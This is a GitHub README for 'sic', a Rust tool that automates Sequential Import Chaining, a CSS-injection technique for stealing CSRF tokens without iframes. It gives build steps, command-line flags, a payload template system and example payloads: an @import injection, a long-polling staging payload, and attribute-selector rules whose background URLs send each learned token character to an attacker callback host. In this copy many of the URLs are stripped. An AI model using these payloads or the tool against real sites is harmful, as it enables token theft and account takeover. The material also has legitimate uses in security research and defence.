Skip to content
A tool to perform Sequential Import Chaining
Branch: master
Clone or download
Latest commit 6e67056 Apr 23, 2019
Type Name Latest commit message Commit time
Failed to load latest commit information.
.idea init Apr 11, 2019
src init Apr 11, 2019
LICENSE init Apr 11, 2019 Update shoutouts Apr 23, 2019
example_nginx.conf Included example nginx config Apr 23, 2019

Sequential Import Chaining

Typical CSS injection requires an attacker to load the context a number of times to exfiltrate sensitive tokens from a page. Usually the vector for this is via iframing which isn't always possible, especially if the target is using x-frame-options: deny or x-frame-options: sameorigin. This can be further complicated if the victim needs to interact with the target to trigger the injection (perhaps due to dynamic behavior on the page).

Sequential import chaining is a technique that enable a quicker, easier, token exfiltration even in the cases where framing isn't possible or the dynamic context is only occasionally realized.

Blog Post

I wrote a blog post on this. Read about it here!

Prerequisites for Attack

This attack only works if the attacker at least one of these:

  • Script tag injection (HTML injection, for example)
  • Control of CSS at the top of a style tag.

The first case is probably more likely and will work even if filtered through vanilla DOM Purify.


  1. Install RustUp ( - curl -sSf | sh)
  2. Install the nightly (rustup install nightly)
  3. Default to nightly (rustup default nightly)
  4. Build with cargo (cargo build --release)

You will find the built binary at ./target/release/sic


sic has documentation on the available flags when calling sic -h but the following is information for general usage.

  • -p will set the lower port that sic will operate on. By default this is 3000. sic will also listen on port port + 1 (by default 3001) to circumvent a technical limitation in most browsers regarding open connection limits.
  • --ph sets the hostname that the "polling host" will operate on. This can either be the lower or higher operating port, though it's traditionally the lower port. Defaults to http://localhost:3000. This must be different than --ch
  • --ch similar to --ph but this sets the "callback host" where tokens are sent. Defaults to http://localhost:3001. This must be different than --ph.
  • -t specifies the template file used to generate the token exfiltration payloads.
  • --charset specifies the set of characters that may exist in the target token. Defaults to alphanumerics (abc...890).

A standard usage of this tool may look like the following:

./sic -p 3000 --ph "http://localhost:3000" --ch "http://localhost:3001" -t my_template_file

And the HTML injection payload you might use would look like:

<style>@import url(http://localhost:3000/staging?len=32);</style>

The len parameter specifies how long the token is. This is necessary for sic to generate the appropriate number of /polling responses. If unknown, it's safe to use a value higher than the total number of chars in the token.

Advanced Logs

sic will print minimal logs whenever it receives any token information; however, if you want more detailed information advanced logging is supported through an environment variable RUST_LOG.

RUST_LOG=info ./sic -t my_template_file


The templating system is very straightforward for sic. There are two actual templates (probably better understood as 'placeholders'):

  • {{:token:}} - This is the current token that we're attempting to test for. This would be the xyz in input[name=csrf][value^=xyz]{...}
  • {{:callback:}} - This is the address that you want the browser to reach out to when a token is determined. This will be the callback host (--ch). All the information sic needs to understand what happened client-side will be in this url.

An example template file might look like this:

input[name=csrf][value^={{:token:}}] { background: url({{:callback:}}); }

sic will automatically generate all of the payloads required for your attack and make sure it's pointing to the right callback urls.


HTTPS is not directly support via sic; however, it's possible to use a tool like nginx to set up a reverse proxy in front of sic. An example configuration is found in the example nginx config file thoughtfully crafted up by nbk_2000.

After nginx is configured, you would run sic using a command similar to the following:

./sic -p 3000 --ph "" --ch "" -t template_file

Note that the ports on --ph and --ch match up with the ports nginx is serving and not sic.

Technique Description

For a better story and additional information, please see my blog post on Sequential Import Chaining here.

The idea behind CSS injection token exfiltration is simple: You need the browser to evaluate your malicious css once, send an outbound request with the next learned token, and repeat.

Obviously the "repeat" part is normally done using a full frame reload (iframing, or tabs... blah).

However, we don't actually need to reload the frame to get the browser to reevaluate new CSS.

Sequential Import Chaining uses 3 easy steps to trick some browser into performing multiple evaluations:

  1. Inject an @import rule to the staging payload
  2. Staging payload uses @import to begin long-polling for malicious payloads
  3. Payloads cause browser to call out using background-img: url(...) causing the next long-polled @import rule to be generated and returned to the browser.


Here's an example of what these might look like:


<style>@import url(;</style>


@import url(;
@import url(;
@import url(;
@import url(; // in the case of a 32 char long token

Long-polled Payload (length 0)

This is a unique, configurable template in sic because this part is very context specific to the vulnerable application.

input[name=xsrf][value^=a] { background: url(; }
input[name=xsrf][value^=b] { background: url(; }
input[name=xsrf][value^=c] { background: url(; }
input[name=xsrf][value^=Z] { background: url(; }

After the browser calls out to<first char of token>, sic records the token, generate the next long-polled payload, and return a response for

Long-polled Payload (length 1 - given s as first char)

input[name=xsrf][value^=sa] { background: url(; }
input[name=xsrf][value^=sb] { background: url(; }
input[name=xsrf][value^=sc] { background: url(; }
input[name=xsrf][value^=sZ] { background: url(; }

This repeats until no more long-polled connections are open.

Shoutout to the following hackers for help in one way or another.

You can’t perform that action at this time.